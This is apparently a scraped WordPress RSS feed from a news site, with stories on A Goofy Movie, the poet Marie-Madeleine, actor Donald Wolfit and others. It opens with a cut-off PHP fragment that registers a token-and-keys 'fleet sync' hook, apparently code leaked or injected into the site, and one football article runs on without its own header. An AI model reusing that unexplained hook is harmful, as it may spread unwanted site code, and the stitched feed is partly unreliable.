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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); defied – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Sun, 04 Sep 2022 08:26:43 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png defied – Brief News https://briefnews.eu 32 32 A Goofy Movie’s Success Defied All Of Disney’s Expectations https://briefnews.eu/a-goofy-movies-success-defied-all-of-disneys-expectations/ https://briefnews.eu/a-goofy-movies-success-defied-all-of-disneys-expectations/#respond Sun, 04 Sep 2022 08:26:43 +0000 https://briefnews.eu/a-goofy-movies-success-defied-all-of-disneys-expectations/

It’s one of the tragic moments of adulthood. You sit down to watch a film you idolized in your childhood — and haven’t seen in just as long — only to discover a far less magical or even entertaining experience. Luckily, that’s absolutely not the case with the 1995 Disney classic “A Goofy Movie,” which I recently treated myself to a rewatch of. I am happy to report that the movie is still as heartwarming and hilarious as I remember it. From the big laughs of the Bigfoot scene to the teary eyes I still get when Max and Goofy finally reconcile.

But from the very beginning, Disney had less than stellar expectations for “A Goofy Movie” compared to bigger features like “The Lion King” or “Pocahontas.” In fact, it wasn’t even developed by Walt Disney Animation Studios (then called Walt Disney Feature Animation) but rather by a subdivision called Disneytoon Studios that had only two films under its belt so far: “DuckTales the Movie: Treasure of the Lost Lamp” and “The Return of Jafar.”

Yet despite the dismal critical response and fraction of money it earned at the box office, there still exists a ton of fervor over “A Goofy Movie” that’s only grown in the last decade. After all, people don’t spend time rewatching a film they saw in their childhood, sharing it with their friends, partner, or kids because of how well-reviewed it was or how much money it made.

Disney’s Low Expectations For A Goofy Movie Was A Self-Fulfilling Prophecy At First

Part of the reason Disneytoon Studios created “A Goofy Movie” was that it was originally supposed to be a direct-to-video release. In fact, they’ve developed pretty much every one of Disney’s many direct-to-video sequels and spinoffs since then. From “The Lion King II: Simba’s Pride” and “Pocahontas II: Journey to a New World” to the Goofy sequel “An Extremely Goofy Movie.” So maybe “A Goofy Movie” wasn’t exactly being set up to fail so much as just not worth spending that much money on. This is pretty blatantly illustrated in the film’s $ 18 million budget compared to the $ 45 million given to “The Lion King.”

Producer Don Hahn went so far as to tell Vanity Fair: “It wasn’t even a B movie. It was a C movie.” And even when the film was allowed to have a theatrical release it was severely limited — with no premiere in California (ironic for a film with where the destination is Los Angeles) and instead debuted only at the AMC Pleasure Island theatre in Walt Disney World in Orlando, Florida. Hahn even said the release of the film only happened as part of “fulfilling a corporate legacy” laid down by Jeffrey Katzenberg, the former Disney chairman that originally greenlit the project. So there basically couldn’t have been more apathy or indifference at Disney towards “A Goofy Movie.”

Given the studio’s feelings towards the film and the restrictions on its theatrical release, it’s probably no surprise it didn’t exactly draw people into theaters. Its total earnings of $ 37.6 million are only a fraction of the $ 191.8 million “The Lion King” drew in its first weekend. But this was the ’90s, an era in which films that slumped in theaters could find a second wind (and a cult following) thanks to VHS.

The Comeback Of Non-Traditional Disney Classic

The following that “A Goofy Movie” earned in the years after its theatrical release reached a fever pitch in 2015 at the D23 Expo in Anaheim, California for its 20th anniversary. A reunion roundtable, hosted by Hahn, was held that included many of the film’s voice actors, screenwriter Jymn Magon, and director Kevin Lima. “They had a list on some Disney websites about 10 must-see panels at the D23 convention. We weren’t even listed in the top 10,” Goofy voice actor Billy Farmer told Vanity Fair. “But we were number one in attendance and audience satisfaction.”

The actor said they actually needed to turn away people at one point because they’d already exceeded the 500-person capacity of the auditorium they were in. “We had an almost three-minute standing ovation at the end,” Farmer said. “It was incredible. I felt like one of the Beatles.” Or — maybe Powerline? After all, the music of “A Goofy Movie” is undoubtedly one of the reasons it’s remained ingrained in the minds of its fans. “Stand Out” and “I 2 I,” sung by Powerline voice actor Tevin Campbell are timeless jams, while its opening song “After Today” went viral in a 2009 YouTube video.

But catchy musical numbers are really all “A Goofy Movie” had in terms of what Hahn would call the “hallmarks” of a Disney classic. “There’s no princess; there’s no castle; there’s some raccoons and a banjo,” he said at the D23 Expo. “But it has every hallmark in terms of its emotion, and relationships, and humanity, and storytelling, and connection that you expect from a Disney classic. And that’s what makes it enduring.”

A Relatable Tale About A Parent And Child Connecting

The father-son duo of Goofy and Max first appeared in the television series “Goof Troop,” though it featured a much younger Max. For his first film, the character was aged to be a high school teenager plagued by the second-hand embarrassment of having the characteristically goofy Goofy as a dad. Magon told Vanity Fair that the change had a lot to do with Katzenberg who, “like a lot of parents,” was having a hard time connecting with his teenage daughter: “He said, ‘I couldn’t figure out how to get through to her. But we ended up taking a car trip together … Somewhere along the way, we bonded. I want a story like that.’ I said, ‘Okay.'” They were off.”

In the film, the road trip aggravates the various conflicts between father and son. But it also creates an opportunity for Goofy and Max to reflect on what they want and need from each other — without the distractions of other people’s opinions on the matter. Of course, all of that culminates in the film’s climax when Max saves Goofy from falling down a waterfall by using his dad’s “Perfect cast” technique to catch him. The wordless reconciliation between the two as Max reels his dad up (physics be damned!) has always been such an emotional gut-punch to me. And apparently, it was for Farmer’s son as well.

It Also Made Goofy Voice Actor Billy Farmer’s Son Cry

When Billy Farmer took his five-year-old to see an early screening, he noticed some tears. “I said, ‘What’s the matter, buddy? Didn’t you like the movie?'” he told Vanity Fair. “And he said, ‘When Goofy was going over the waterfall, I thought that was you.'” Something about that scene has always stuck with me too — its stark red colors, the mist from the waterfall like hot steam, and Max’s personal terror — that still elicits some anxiety when watching it. But some of the best Disney movies can both scar at fundamental levels (i.e. every parental death from “Bambi” to “The Lion King) and deliver some seriously heartwarming moments.

Which is another reason Farmer believes “A Goofy Movie” endures. “I’ve probably done close to 4,000 projects for Disney, but ‘A Goofy Movie’ was unlike any other project that I’ve worked on over the last 33 years,” he told Entertainment Weekly. How does he measure the distinction? By the sheer number of fans that come see him at conventions like Comic-Con or Disney Expos or write to him to express their gratitude for what the film meant to them personally.

“I hear people say, ‘Yeah, I couldn’t talk to my dad very well, we weren’t that close, but ‘A Goofy Movie’ kind of brought us together and we would play it every year, or put on the soundtrack in the car.’ That one movie has kind of identified with people more than anything else I’ve ever done.”

Like the film’s road trip, “A Goofy Movie” has become a way for parents and their children to either connect or reconnect. Over time, that ability to move people has only gotten stronger, with every decade and generation lending it new nostalgia.

Read this next: Ranking All Eight Muppet Movies On The First Film’s 40th Anniversary

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]]> https://briefnews.eu/a-goofy-movies-success-defied-all-of-disneys-expectations/feed/ 0 The Morphine Queen Who Defied the Nazis https://briefnews.eu/the-morphine-queen-who-defied-the-nazis/ https://briefnews.eu/the-morphine-queen-who-defied-the-nazis/#respond Mon, 03 Sep 2018 07:46:59 +0000 http://briefnews.eu/the-morphine-queen-who-defied-the-nazis/ Baron Heinrich von Puttkamer was dying of pneumonia. As the Prussian noble and high-ranking army officer struggled to draw his last, ragged breaths in the late summer of 1914, the attending physician injected him with morphine to ease his pain. His wife became so hysterical at seeing her beloved husband of 18 years slip away that the doctor gave her a shot of morphine as well. It was far from the first experience with the drug for Baroness von Puttkamer — and it wasn’t the only secret she had kept from her dearly departed spouse.

The baroness was born Gertrud Gunther in Eydtkuhnen, East Prussia, in 1881. Her father was a merchant and her mother a homemaker in the rural village’s small Jewish community. But she rose above her middle-class beginnings in 1900, when she married von Puttkamer, who was 35 years her senior.

Her work was particularly appreciated during the decadent, dissolute years of the Weimar Republic.

Stephen J. Gertz, writer

The aristocratic and wealthy von Puttkamers dated back to 13th-century Pomerania. As baroness, the former Gertrud Gunther dressed in the trendiest fashions from Paris and sashayed through life in the halls of the rich and powerful upper class. From her villa in Grunewald, Germany, she traveled to Paris, Nice and Monte Carlo, where she socialized with European royalty, Hollywood icons, artists and literary stars.

But the baroness had a secret literary and sexual side, which most scholars believe went undetected by her starchy husband. In the same year that Gertrud married the baron, she published her first book of poetry, Auf Kypros. The collection of lesbian-themed erotic verse became a best-seller in Imperial Germany and vaulted her to literary fame — under the pen name Marie-Madeleine, who was a hero to those without a voice, especially in a male-dominated era.

“Her life and work ran contrary to accepted moral and social standards,” says Stephen J. Gertz, who wrote the foreword to Priestess of Morphine: The Lost Writings of Marie-Madeline in the Time of Nazis (edited by Ronald K. Siegel). Contemporary critics derided her poetry as perverse and even brazenly pornographic, but by 1910, Auf Kypros had gone through 52 printings.

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In the following 14 years, the baroness published another 28 books, including novels. Just as lesbian love dominated her works at first, morphine started appearing in her writing beginning in 1910. It became the dominant theme after the baron’s death and for the rest of her literary career. “Her work was particularly appreciated during the decadent, dissolute years of the Weimar Republic when alternative sexual behavior and drug use were tolerated — and often celebrated,” says Gertz.

If anything, her writing became even more ecstatic and rapturous after her husband’s death. “She traveled around Europe with a male companion and fellow morphine enthusiast, living in villas in Germany and France,” says Gertz, “completely unknown as the notorious Marie-Madeleine.”

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The baroness had maintained her secret identity for more than three decades, but Hitler’s Nazis eventually ferreted her out. The Third Reich wasn’t too keen on Jewish lesbian poets addicted to morphine, and despite her nobility, they wanted to erase her from history. When the Nazis starting burning books, Marie-Madeleine’s were among the first to go into the flames. Her books sold more than 1 million copies during her career, but it’s extremely hard to come by a copy of one today.

It was only because of her respected German family by marriage that the baroness was able to avoid the death camps. (Some von Puttkamers became members of the Nazi Party, including the baroness’ son, in 1932.) The Nazis had her committed to Katzenelnbogen Sanatorium in 1943 under the pretext of curing her morphine addiction. She was kept drugged and oblivious as the Nazis systematically stripped her of wealth and property. She died in her sleep in 1944.

He son, who had been captured by the Allies, returned to Germany in 1951, after his release. He came home to find his mother dead and his inheritance gone. He accused the Nazi doctors of using her addiction as an excuse to confiscate the remainder of her wealth. If not for Siegel’s RKS Library, which seeks to save forgotten tomes of drug literature, the legend of Marie-Madeleine would have faded from history.

“Foiled Sleep,” Marie-Madeleine (1900)

Ah me! I cannot sleep at night;

And when I shut my eyes, forsooth,

I cannot banish from my sight

The vision of her slender youth.

She stands before me lover-wise,

Her naked beauty fair and slim,

She smiles upon me, and her eyes

With over-fierce desire grow dim.

Slowly she leans to me. I meet

The passion of her gaze anew,

And then her laughter, clear and sweet,

Thrills all the hollow silence through.

O, siren, with the mocking tongue!

O, beauty, lily-sweet and white!

I see her, slim and fair and young,

And ah! I cannot sleep at night.

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]]> https://briefnews.eu/the-morphine-queen-who-defied-the-nazis/feed/ 0 Sir Donald Wolfit: The man who defied Nazi bombs to bring the Bard to the people https://briefnews.eu/sir-donald-wolfit-the-man-who-defied-nazi-bombs-to-bring-the-bard-to-the-people/ https://briefnews.eu/sir-donald-wolfit-the-man-who-defied-nazi-bombs-to-bring-the-bard-to-the-people/#respond Mon, 19 Feb 2018 10:55:56 +0000 http://briefnews.eu/sir-donald-wolfit-the-man-who-defied-nazi-bombs-to-bring-the-bard-to-the-people/

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Sir Donald Wolfit is the forgotten man of British theatre

IT is October 1940, one month into the Blitz.

A German bombing raid has caused great damage to the Strand Theatre in London.

The back of the building lies in ruins. The demolition squad wave away a man who wants to enter the theatre but the man is having none of it.

He is the great actor-manager Donald Wolfit who has a mission to bring the works of Shakespeare to the masses.

For him, Nazi bombs are an inconvenience but nothing more.

The show must go on.

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London was hit by German bombers in 1940

Against the advice of the theatre secretary, he insists that if the damaged curtain can rise, a performance must be given that day.

The curtain, “with many a groan and a shudder”, does rise. And the actor and his company take to the stage.

“There was no heating and no water for washing and we improvised cubby holes around the stage,” Wolfit later recalled in his autobiography.

But despite the extremely difficult circumstances, his “lunchtime Shakespeare” programme only grew in popularity.

In the second week the daily shows in the ruined theatre were playing to nearly 1,000 people.

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Strand Theatre in April 1942 in the middle of the Second World War

Air-raid sirens made no difference.

“If the air-raid warning went during a performance Mary Pitcher, dressed as an Elizabethan page, walked on and cheerfully announced: ‘The warning has just gone. We shall proceed. Will those wish to leave do so as quietly as possible,’” Wolfit wrote.

On another occasion Wolfit was performing the famous To be, or not to be soliloquy from Hamlet when a siren was followed by the drone of a doodle-bug bomb.

“Just as I reached the conclusion the sound of the engine stopped and the monster fell some 100 yards behind the theatre, blowing in the scenery-dock door and rocking the heavy column like a mast in a storm. That was the nearest I ever came to having a performance interrupted by Hitler’s minions,” he declared.

It is hard to think of better examples of stiff-upper lip stoicism than reciting Shakespeare as enemy bombs are falling. It was certainly the “finest hour” not just of Britain but also of Donald Wolfit, who died 50 years ago.

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His wartime King Lear was described by the leading theatre critic James Agate as “the greatest piece of Shakespearean acting” that he had ever seen.

What makes his achievements all the more worthy is that Wolfit started at the very bottom, with no family connections to help him on his way.

Born in Newark in Nottinghamshire in 1902, his father was an office clerk and his mother a nurse.

He made his stage debut at the age of seven when he played Robin Hood in his church school production. 

He set his heart on becoming an actor and joined the local amateur dramatic society, spending four years in provincial theatre. 

Wolfit travelled to London with £6 in his pocket to try to get work with a major company but had no success.

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Sir Donald Wolfit was regarded as an oldham by many

However, a letter of introduction from an actress friend to actor-manager Fred Terry was to change Wolfit’s fortunes.

Terry invited him to join his company on a salary of £4 10/-. “I walked in a daze on to Primrose Hill and when out of sight of the house threw my hat in the air and did a cartwheel,” he later wrote.

Wolfit’s fame grew and in 1937 he established his own theatre company.

It is fair to say that his performances divided opinion.

Edith Sitwell wrote that the “cosmic grandeur” of Wolfit’s Lear left her and her brother Osbert “unable to speak”.

Impresario CB Cochran hailed him as the finest actor since Sir Henry Irving.

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Sir Donald, Lady Wolfit and their daughter at Buckingham Palace

Others thought he hammed.

The actress Hermoine Gingold quipped that while Laurence Olivier was a tour de force, Wolfit was forced to tour.

Wherever he was playing, he certainly knew how to milk an audience. For his curtain calls he would totter on exhausted and grab the curtain for dramatic effect.

“I’d be standing there thinking: ‘There’s more acting going on now than I’ve seen all evening,’’” said Alan Ayckbourn, who worked in Wolfit’s company. 

Anecdotes about the larger-than-life actor are legion.

On one occasion he had just taken a solo curtain call as King Lear and announced: “Ladies and gentlemen, next week we will be offering you Hamlet. I myself shall be playing the role of the melancholy Dane and my dear lady wife shall be playing Ophelia.”

“Your wife’s an old rat-bag,” cried a voice from the auditorium.

“Nevertheless,” Wolfit continued unperturbed, “she shall still be playing Ophelia.”

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Ronald Harwood’s play The Dresser was based on working with Wolfit

On another occasion an admirer said to him: “One wonders why you don’t get your lines confused and speak bits of Lear when you’re playing Othello.”

To which Wolfit replied: “Madam, if you’re asked to play golf you don’t arrive with a tennis racket.”

Wolfit was a brilliant improviser when things went wrong on stage.

Once when a gun failed to go off, he told the other actor to kick him. As he was kicked he turned to the audience and, collapsing, cried: “The boot was poisoned!”

For Wolfit acting wasn’t just a job but his raison d’être.

“Wolfit never, ever didn’t want to go on stage,” says Ronald Harwood, whose 1980 play The Dresser was based on his experiences of working with the flamboyant thespian.

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Laurence Olivier and Margaret Leighton as Hotspur and Lady Percy in the 1946 Old Vic’s Henry IV

“I remember once in a play called The Wandering Jew he had a late entrance. The play began with his wife dying.

Donald used to pace up and down while she was doing her acting. ‘I can’t live any longer. She won’t die tonight, get on with it!’ Donald used to say.”

While he could be difficult, Wolfit also inspired affection.

“He developed a magnificent persona, grandiose, passionate, often pompous but also astonishingly kind and genuinely humble,” Harwood says.

Wolfit was aghast that after the outbreak of war there had been no performance of his beloved Shakespeare in London for six months. 

“This seemed to me a pitiful state of affairs for was not Shakespeare a part of the civilisation that was being fought for?” he wrote. 

Not only did he bring the Bard back to the West End, he also toured the country with his productions. He took Hamlet and Richard III to Hull while the city suffered terrible air-raids.

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When not treading the boards, he served his country as a member of a Home Guard unit in Surrey.

After the war he appeared in many films, including the epic Lawrence Of Arabia, and was knighted in 1957.

The final curtain of the last of the great actor-managers came on February 17, 1968, when he died of a heart ailment, aged 65.

Of all his memorable performances probably his most important role was boosting morale in his country’s hour of need.

As Sir Donald himself put it: “I like to feel that these war years represent a victory for Shakespeare, too. We had played his great plays all over the British Isles to civilians and servicemen alike. We had done hundreds of performances in bombed London and had taken him to France, Belgium and Egypt. We had done our job.”

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Pereira spent last season on a season-long loan at Granada and impressed for the Spanish side despite their relegation.

The Brazilian returned to Manchester United in the summer and was hopeful of pushing for a place in the first-team.

But he was left out of the matchday squads in the opening weeks of the season and with the transfer deadline approaching pushed to leave.

Pereira eventually returned to Spain but this time joined Valencia which left Mourinho irate.

Mourinho said: “It was a personal decision that I don’t agree with, a decision I don’t think honestly is the best decision for him, a decision that disappoints me.

“You have to be ready to fight for the position and I am disappointed he left.

“But was his decision, I opened the door, he has a long-term contract, we have the option to bring him back on Jan. 1, so is not a drama but is a decision which disappoints me a little bit.”

But Pereira insists he made the decision to leave for the benefit of his career.

“That’s why it is difficult,” Pereira told The Guardian. 

“He told me I had to stay but I wanted to play and get more minutes. 

“He wanted me to stay there and it was important [to him], but I needed to do this. 

“This was important for me and my career. And I’m sure if it works out, next year I will be back there and it will be better for both of us. 

“In the end I think he is happy because he is a very honest coach. 

“I was talking to him right up to the very last minute when I came here.”

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]]> https://briefnews.eu/man-utd-news-this-is-why-i-defied-jose-mourinho-over-valencia-loan-andreas-pereira/feed/ 0 The Night Shift Finale Sneak Peek: Has Scott Defied Julian for the Last Time? https://briefnews.eu/the-night-shift-finale-sneak-peek-has-scott-defied-julian-for-the-last-time/ https://briefnews.eu/the-night-shift-finale-sneak-peek-has-scott-defied-julian-for-the-last-time/#respond Thu, 31 Aug 2017 03:19:42 +0000 http://briefnews.eu/the-night-shift-finale-sneak-peek-has-scott-defied-julian-for-the-last-time/

The Night Shift‘s Scott may have betrayed boss man Julian’s trust for the very last time, as seen in this exclusive sneak peek from the Season 4 finale.

In the episode “Resurgence” (airing Thursday at 10/9c, on NBC), Julian (played by James McDaniel) gets wind of the combat medicine training program that Scott (Scott Wolf) is putting through a test run at SAM — and he is not happy. In the clip above, Scott attempts to make his case, but Julian growls that his supply of trust for his colleague has run bone dry. How does the clash play out? Press play above to see.

Elsewhere in the Season 4 finale, a shooting at a nearby college sends TC, Jordan, Drew and Amira into the field, where they assist Rick with a deadly situation; Drew struggles with frustrations about going to Army Ranger School; and Shannon and TC both contemplate their future at San Antonio Memorial.

Among guest stars, Rachelle Lefevre (Under the Dome) will play military doctor Major Natasha Anthony, while Missy Peregrym (Rookie Blue) will portray Reagan, a paramedic who clashes with Drew. Both roles have the potential to recur if the medical drama is renewed for Season 5.

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]]> https://briefnews.eu/the-night-shift-finale-sneak-peek-has-scott-defied-julian-for-the-last-time/feed/ 0 Taiwan’s economy has defied the pessimists https://briefnews.eu/taiwans-economy-has-defied-the-pessimists/ https://briefnews.eu/taiwans-economy-has-defied-the-pessimists/#respond Fri, 02 Jun 2017 05:22:08 +0000 http://briefnews.eu/taiwans-economy-has-defied-the-pessimists/


Tsai takes the flak

TAIWAN’S president, Tsai Ing-wen, has had a tough first year in office. Her popularity has plummeted as she has struggled to find a path through thorny policy debates. Hope that she might have a staunch ally in Donald Trump has receded. China has ratcheted up pressure, leaving Taiwan more isolated internationally. Less noticed is that Ms Tsai has, for now, won over one important group: investors. Cash inflows from abroad have made Taiwan’s stockmarket and currency among Asia’s best performers. Foreign direct investment in the electronics industry has also surged.

The government, to be sure, cannot take too much credit. A revival in global trade is the main reason for Taiwan’s improved fortunes. Exports rose 15% in the first quarter, the fastest rate in six years. The big gains for Taiwan’s stockmarket—up 40% in dollar terms since Ms Tsai’s inauguration—are about the same as those in South Korea, another economy whose growth is fuelled…

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]]> https://briefnews.eu/taiwans-economy-has-defied-the-pessimists/feed/ 0 Breast cancer: How a mum determined to get better for her daughters defied the odds https://briefnews.eu/breast-cancer-how-a-mum-determined-to-get-better-for-her-daughters-defied-the-odds/ https://briefnews.eu/breast-cancer-how-a-mum-determined-to-get-better-for-her-daughters-defied-the-odds/#respond Mon, 17 Apr 2017 00:17:47 +0000 http://briefnews.eu/breast-cancer-how-a-mum-determined-to-get-better-for-her-daughters-defied-the-odds/

DIAGNOSED with an aggressive form of the disease, MELANIE O’NEILL decide to live to the full with her family and even started dancing lessons. She tells how she defied the odds.

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]]> https://briefnews.eu/breast-cancer-how-a-mum-determined-to-get-better-for-her-daughters-defied-the-odds/feed/ 0 Devin Scullion defied all odds, now researchers are trying to figure out how https://briefnews.eu/devin-scullion-defied-all-odds-now-researchers-are-trying-to-figure-out-how/ https://briefnews.eu/devin-scullion-defied-all-odds-now-researchers-are-trying-to-figure-out-how/#respond Wed, 25 Jan 2017 00:44:28 +0000 http://briefnews.eu/devin-scullion-defied-all-odds-now-researchers-are-trying-to-figure-out-how/ Devin Scullion

Doctors did not think Devin Scullion, a Hamilton man with a rare, rapid aging disorder would live past 13. But he defied the odds, and then some. He died at age 20, Sunday, but researchers are hopeful they can learn from his life to help others with progeria.

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